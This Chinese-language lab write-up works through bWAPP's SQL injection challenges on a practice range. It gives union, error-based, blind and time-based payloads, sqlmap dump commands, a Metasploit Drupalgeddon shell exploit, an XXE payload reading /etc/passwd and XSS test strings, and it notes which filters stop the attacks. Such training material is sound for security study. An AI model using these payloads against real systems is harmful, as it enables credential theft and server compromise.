题目标明为GET搜索型SQL注入,所以提交的SQL语句一般为关键字左右两边有“%”作为通配符的条件。
搜索框内不输入任何数据,点击搜索
URL:http://range.anhunsec.cn:82/sqli_1.php?title=&action=search
结果如下:
由此猜想,上面的内容可能是全部内容。
在搜索框里面输入:g,
URL:http://range.anhunsec.cn:82/sqli_1.php?title=g&action=search
结果如下:
以上内容是包含“g/G”的内容条目。
在搜索框里面输入:g' ,
URL:http://range.anhunsec.cn:82/sqli_1.php?title=g'&action=search
结果如下:
上图中爆出了数据库错误,由此猜想很大可能存在SQL注入漏洞(假装不知道这里有SQL注入漏洞 ❀鸡)。
我们构造如下语句进行进一步探测:
g%' or 1=1 #
g%' or 1=2 #
上面两语句中的 % 用来保证 or 前面的内容与构建之前的语句内容吻合,# 用来注释掉后面被多出来的 ' 和 % 。例如:原SQL语句为:
SELECT * FROM movies WHERE title LIKE '%g%'
进行构造后的SQL语句为:
SELECT * FROM movies WHERE title LIKE '%g%' or 1=1/2 #%'
关键字为:g%' or 1=1 #
URL:http://range.anhunsec.cn:82/sqli_1.php?title=g%25%27+or+1%3d1+%23&action=search
的结果:
结果同关键字为空的结果一样为全部内容,应为语句 g%' or 1=1 # 的构成是的 where 后语句永远为真,故和选取所有的效果相同,即为全部内容。
关键字为:g%' or 1=2 #
URL:http://range.anhunsec.cn:82/sqli_1.php?title=g%25%27+or+1%3d2+%23&action=search
的结果:
由于 or 后面语句为假,故只有前面的语句起作用,所以结果与关键字为 “g” 的结果相同。
由以上判断可确定此处有SQL注入漏洞,此处为字符型注入。
判断字段数,g和'直间必须有%
http://range.anhunsec.cn:82/sqli_1.php?title=g%%27order%20by%208%23&action=search
结果有7个字段
查找回显点
http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union select 1,2,3,4,5,6,7%23&action=search
可以在2,3,4,5处得到我们想要的信息
查找数据库名
http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union select 1,database(),3,4,5,6,7%23&action=search
为bWAPP
查找数据库名为bWAPP中的表
http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='bWAPP'%23&action=search
为blog,heroes,movies,users,visitors
查找数据库名为bWAPP中的表users中的字段
http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema='bWAPP' and table_name='users'%23&action=search
为id,login,password,email,secret,activation_code,activated,reset_code,admin
查找数据库名为bWAPP中的表users中的字段login,password的值
http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union select 1,group_concat(login),group_concat(password),4,5,6,7 from users%23&action=search
为
A.I.M.,bee | 6885858486f31043e5839c735d99457f045affd0,6885858486f31043e5839c735d99457f045affd0 |
---|---|
6885858486f31043e5839c735d99457f045affd0解密为bug
解密为bug
给sqlmap去跑........
sqlmap -r t.txt --dbs --dbms mysql -D bwapp -T users -C admin,id,login,password --dump
最终结果:
low级别的payload已无法读取到内容
结果如下
查看源代码
' or updatexml(1,concat(0x7e,(select database()),0x7e),1)or'
为bWAPP
查找数据库名为bWAPP中的表
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'),0x7e),1)or'
为blog,heroes,movies,users,visito发现不能全部显示
在这一步可以使用left,mid,right来进行分段显示,将得到的信息进行拼接,下面的22是从右往左显示22个字符,
' or updatexml(1,concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'),22),0x7e),1)or'
所有表名为blog,heroes,movies,users,visitors
查找数据库名为bWAPP中的表users中的字段
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='bWAPP' and table_name='users'),0x7e),1)or'
为id,login,password,email,secret,发现不能全部显示
可以用limit函数逐个读取数据库中的表名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='bWAPP' and table_name='users' limit 0,1),0x7e),1)or'
为id,login,password,email,secret,activation_code,activated,reset_code,admin
查找数据库名为bWAPP中的表users中的字段login的值
' or updatexml(1,concat(0x7e,(select group_concat(login) from users),0x7e),1)or'
为A.I.M.,bee
查找数据库名为bWAPP中的表users中的字段password的值
' or updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)or'
为6885858486f31043e5839c735d99457f045affd0解密为bug
同时查找数据库名为bWAPP中的表users中的字段login,password的值
' or updatexml(1,concat(0x7e,(select group_concat(login,password) from users limit 0,1),0x7e),1)or'
为A.I.M.6885858486f31043e5839c735
漏洞将没有
访问url:
http://range.anhunsec.cn:82/sqli_2.php?movie=1&action=go
结果如下
构造payload
http://range.anhunsec.cn:82/sqli_2.php?movie=1 and 1=1&action=go
http://range.anhunsec.cn:82/sqli_2.php?movie=1 and 1=2&action=go
发现and 1=1有回显and 1=2无回显,此处为数字型注入
判断字段数
http://range.anhunsec.cn:82/sqli_2.php?movie=1 order by 7&action=go
http://range.anhunsec.cn:82/sqli_2.php?movie=1 order by 8&action=go
order by 7有回显,order by 8无回显,字段数为7
查找回显点
http://range.anhunsec.cn:82/sqli_2.php?movie=1 and 1=2 union select 1,2,3,4,5,6,7&action=go
可以在2,3,4,5处得到我们想要的信息
查找数据库名
http://range.anhunsec.cn:82/sqli_2.php?movie=1 and 1=2 union select 1,database(),3,4,5,6,7&action=go
为bWAPP
查找数据库名为bWAPP中的表
http://range.anhunsec.cn:82/sqli_2.php?movie=1 and 1=2 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='bWAPP'&action=go
为blog,heroes,movies,users,visitors
查找数据库名为bWAPP中的表users中的字段
http://range.anhunsec.cn:82/sqli_2.php?movie=1 and 1=2 union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema='bWAPP' and table_name='users'&action=go
为id,login,password,email,secret,activation_code,activated,reset_code,admin
查找数据库名为bWAPP中的表users中的字段login,password的值
http://range.anhunsec.cn:82/sqli_2.php?movie=1 and 1=2 union select 1,group_concat(login),group_concat(password),4,5,6,7 from users&action=go http://range.anhunsec.cn:82/sqli_2.php?movie=1%20and%201=2%20union%20select%201,(select group_concat('~',login,'~',password) from users),3,4,5,6,7&action=go
为
A.I.M.,bee | 6885858486f31043e5839c735d99457f045affd0,6885858486f31043e5839c735d99457f045affd0 |
---|---|
6885858486f31043e5839c735d99457f045affd0解密为bug
medium和high被过滤了
同SQL Injection (GET/Search)
同SQL Injection (GET/Select)
ajax他是一个异步通讯,能够在网页不刷新的情况下,刷新网页内部的东西,通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行实时更新。
对应的js代码如下:
$("#title").keyup(function(){ // Searches for a movie title var search = {title: $("#title").val()}; // AJAX call //getJSON函数 //1、sqli_10-2.php即把数据提交到此文件,也就是说其实ajax查询数据是这个文件在处理 //2、search是存储的键值对,这里提交。 //3、第三个参数是查询成功后处理要调用的函数,这里是格式化了输出,我们忽略 $.getJSON("sqli_10-2.php", search, function(data){ init_table(); // 后面的代码是格式化处理查询结果的 // Constructs the table from the JSON data var total = 0; $.each(data, function(key, val){ total++; $("#table_yellow tr:last").after("<tr><td>" + val.title + "</td><td align='center'>" + val.release_year + "</td><td>" + val.main_character + "</td><td align='center'>" + val.genre + "</td><td align='center'><a href='http://www.imdb.com/title/" + val.imdb + "' target='_blank'>Link</a></td></tr>"); }); // Empty result if (total == 0) { $("#table_yellow tr:last").after("<tr height='30'><td colspan='5' width='580'>No movies were found!</td></tr>"); } }) });
而它的返回值一般是json/xml格式的,jQuery中提供实现ajax的方法
从sqli_10-2获取了json
10-2这里可以存在注入
页面sqli_10-1应该是从sqli_10-2获取数据的:
可以间接的从sqli_10-2.php注入:
http://range.anhunsec.cn:82/sqli_10-2.php?title=Iron%' and 1=1 %23
也可以在sqli_10-1.php搜索框注入:
同SQL Injection (GET/Search)
构造payload
%' union select 1,group_concat(login),group_concat(password),4,5,6,7 from users#
或
%' union select 1,2,(select group_concat('~',login,'~',password) from users),4,5,6,7 #
结果为
A.I.M.,bee | 6885858486f31043e5839c735d99457f045affd0,6885858486f31043e5839c735d99457f045affd0 |
---|---|
6885858486f31043e5839c735d99457f045affd0解密为bug
分别用了addslashes()和mysql_real_escape_string()函数防御,
且在mysql编码为utf-8, 无法用宽字节绕过, 安全。
同SQL Injection (GET/Select)
源码中有输出报错信息
继续像上一关那样思路,
构造万能登录用户名, 密码随意:
login:bee' or 1=1 #
password: 1
发现无法注入
查看源码逻辑(黑白盒结合测试), 它先是判断用户名是否存在, 存在之后再判断密码是否正确:
既然sql语句只发生在查询用户名处, 所以注入也只能在用户名, (因为需要通过用户名验证, 再通过密码)
注入单引号:
login:bee'
password: 1
结果如下
无法判断字段数,因此无法使用order by 判断字段数
进入数据库实验:
可以看到, 联合查询3的位置对应password字段, 且password字段的值是经过md5加密过的
由于用户名和密码是分开进行判断的, 为了能够回显出报错信息, 需要注入的联合查询字段(顺序为3)与输入的密码相等
比如, 注入的联合查询为:
' union select 1,2,3,4,5,6,7,8,9 #
$recordset从数据库中搜索就有了返回值,即$row["login"]返回不为空,这里第一个条件就构成了。后面POST的“&password=3”,3的hash的值被我们添加到联合查询语句里了,即返回的查询有3的hash值
所以输入密码与联合查询输入的3字段相等即可
用户名: ' union select 1,2,"77de68daecd823babbb58edb1c8e14d7106e83bb",4,5,6,7,8,9 #
密码 : 3
其中, sha1(3) 加密后为 77de68daecd823babbb58edb1c8e14d7106e83bb
得知注入字段显示顺序为2和5
当前数据库和用户
用户名: ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,user(),6,7,8,9 #
密码 : 3
为 BWAPP, [email protected]
爆表
用户名: ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat(table_name) from information_schema.tables where table_schema=database()),6,7,8,9 #
密码 : 3
为Blog,heroes,movies,users,visitors
users表的所有字段
用户名: ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),6,7,8,9 #
密码 : 3
为Id,login,password,email,secret,activation_code,activated,reset_code,admin
爆值
用户名: ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat('~',login,'~',password) from users),6,7,8,9 #
密码 : 3
为~A.I.M.~6885858486f31043e5839c735d99457f045affd0,~bee~6885858486f31043e5839c735d99457f045affd0
查看源码发现对用户名和密码进行了相应的防护:
分别用了addslashes()和mysql_real_escape_string()函数防御,
且在mysql编码为utf-8, 无法用宽字节绕过, 安全。
首先需要安装SQLite插件:
apt-get install sqlite3
apt-get install php5-sqlite
然后重启一下apache:
service apache2 restart
搜索Iron
SQLite 介绍
SQLite含有一张内置表“sqlite_master”,表里存储着type、name、tbl_name、rootpage、sql五个字段。
type列记录了项目的类型,如table、index、view、trigger
tbl_name字段记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身;
name字段记录了项目的名称,如表名、索引名等;
rootpage记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL
sql存放着所有表的创建语句,即表的结构。
注入单引号, 只会报错 Error: HY000, 可能是SQLite的报错标注:
根据查询功能, 很明显为模糊匹配:
于是得出sql语句为:
select * from books where title='%$title%';
判断注入点
Iron%' and 1=1 --
注意在SQLite中, 注释符为: --
判断字段数
Iron%' order by 6 --
判断字段显示顺序
123%' union select 1,2,3,4,5,6 --
回显点为2,3,4,5
爆所有表
123%' union select 1,sqlite_version(),name,4,5,6 from sqlite_master --
为Blog,heroes,movies,users
users表的字段
123%' union select 1,sqlite_version(),sql,4,5,6 from sqlite_master --
通过sql可以查看建表语句, 从而得到字段属性:
取值
123%' union select 1,2,login,password,5,6 from users --
为A.I.M.~6885858486f31043e5839c735d99457f045affd0,~bee~6885858486f31043e5839c735d99457f045affd0
在Medium和High等级中, 都过滤了单引号, 无法注入:
CVE-2014-3704:
由于expandArguments()函数没有正确构造准备好的语句,这使得远程攻击者能够通过包含精心编制的手工语句进行SQL注入攻击。影响Drupal版本在7.x~1.32。
Drupal是一款开源内容管理系统(CMS),用户多达100万以上(包括政府、电子零售、企业组织、金融机构等),除非已经安装了针对Drupalgeddon 漏洞的安全补丁,否则,所有用户都会面临该漏洞的严重威胁。
bwapp平台复现了漏洞, 但仅仅在bee-box平台中体现:
搜索drupal漏洞:
search drupal
查看漏洞信息:
show info exploit/multi/http/drupal_drupageddon
使用CVE-2014-3704对应的攻击模块:
use exploit/multi/http/drupal_drupageddon
设置Drupal网站路径:
set targeturi /drupal/
所定攻击的ip和端口:
set RHOSTS 192.168.10.10
set rport 8080
发动攻击, 拿到shell:
exploit
分析
\1. 在将blog内容以及时间作者等插入数据库的过程中, 肯定用到了insert语句, 对应的就可以采用 sql注入;
\2. 观察插入之后的内容, 被写入到网页中, 这里就类似于存储型XSS。
SQL注入
注入单引号, 得到回显:
猜测sql语句为:
insert into blog(date,entry,owner) values(now(), '$entry', 'bee');
注入点为entry处, 可以将前面的values() 闭合掉, 然后加上注入内容即可:
判断注入点:
test','hack')#
成功
联合查询注入数据库
test', (select database())) #
为bWAPP
查询数据表
test', (select group_concat(table_name) from information_schema.tables where table_schema=database())) #
为blog,heroes,movies,users,visitors
查询login和password字段的值
test', (select group_concat(login,password) from users)) #
为A.I.M.~6885858486f31043e5839c735d99457f045affd0,~bee~6885858486f31043e5839c735d99457f045affd0
报错注入
' or updatexml(1,concat(0x7e,(select database()),0x7e),1)or'
结果为
XSS
注入:
<script>alert(1)</script>
结果为
注入的单引号发现被转义了:
test', (select database())) #
结果
查看源码, 发现两个等级分别用了addslashes()和mysqli_real_escape_string()函数做防护:
但没有对xss进行相应的防护:
<script>alert(2)</script>
结果为
当用户访问页面时, 后台会获取用户的ip, 访问时间以及http头信息的内容:并且将获取到的信息存储到数据库, 然后再显示到页面上。
原理同样, 猜测insert的sql语句为:
INSERT INTO blog (date, user_agent, ip_address) VALUES(now(), '$user-agent','$ip');
注入点为 user-agent:
test', (select database())) #
结果如下
报错注入
' or updatexml(1,concat(0x7e,(select database()),0x7e),1)or'
结果为
查看源码, 发现两个等级分别用了addslashes()和mysqli_real_escape_string()函数做防护, 安全:
点击按钮, 触发script事件:
重定向到sqli_8-2.php, 并发送xml文档:
有两种方法利用该漏洞;
sql注入的原理基本不变, 只不过注入点不同而已,
直接访问sql_8-2.php, 将xml实体POST即可:
<reset><login>bee</login><secret>Any bugs?</secret></reset>
结果为
注入单引号, 判断注入点:
得到回显之后, 接下来就是判断sql语句, 由于是写入网页的bee值, 那么猜测为update语句:
UPDATE users SET secret = '$secret' WHERE login = '$login';
于是用extractvalue()报错注入:
<reset><login>bee' or extractvalue(1, concat(0x7e, (select database()), 0x7e)) or '1'='1</login><secret>Any bugs?</secret></reset>
结果为
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE hack [ <!ENTITY text SYSTEM "file:///etc/passwd"> ]> <reset> <login>&text;</login> <secret>hack</secret> </reset>
查询书目, 只会显示出存在or不存在:
Iron Man
由于是字符串, 判断为字符类型注入, 直接注入:
Iron Man' and '1'='1
结果为
比如, 判断数据库长度:
Iron Man' and length(database())=5 #
结果为5
判断库名第一个字母为b,True
Iron Man' and (substr(database(),1,1))='b' #
以此类推,数据库名为bWAPP
同样采用了addslashed()和mysqli_real_escape_string()函数,
且mysql编码和os编码一致, 无法用宽字节绕过, 安全。
不管查询什么都是将结果通过email通知, 将查询结果"隐藏"了起来
对应渗透来说, 也就是无法得知注入的sql语句是否执行成功。
于是布尔盲注就不能发挥作用, 这时候就需要延时盲注出场了。
延时注入:
Iron Man' and sleep(if((1=2), 0, 3)) #
Iron Man' and sleep(3) -- q
页面延时3秒返回,说明此处存在延时注入漏洞
同样采用了addslashed()和mysqli_real_escape_string()函数,
且mysql编码和os编码一致, 无法用宽字节绕过, 安全。
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。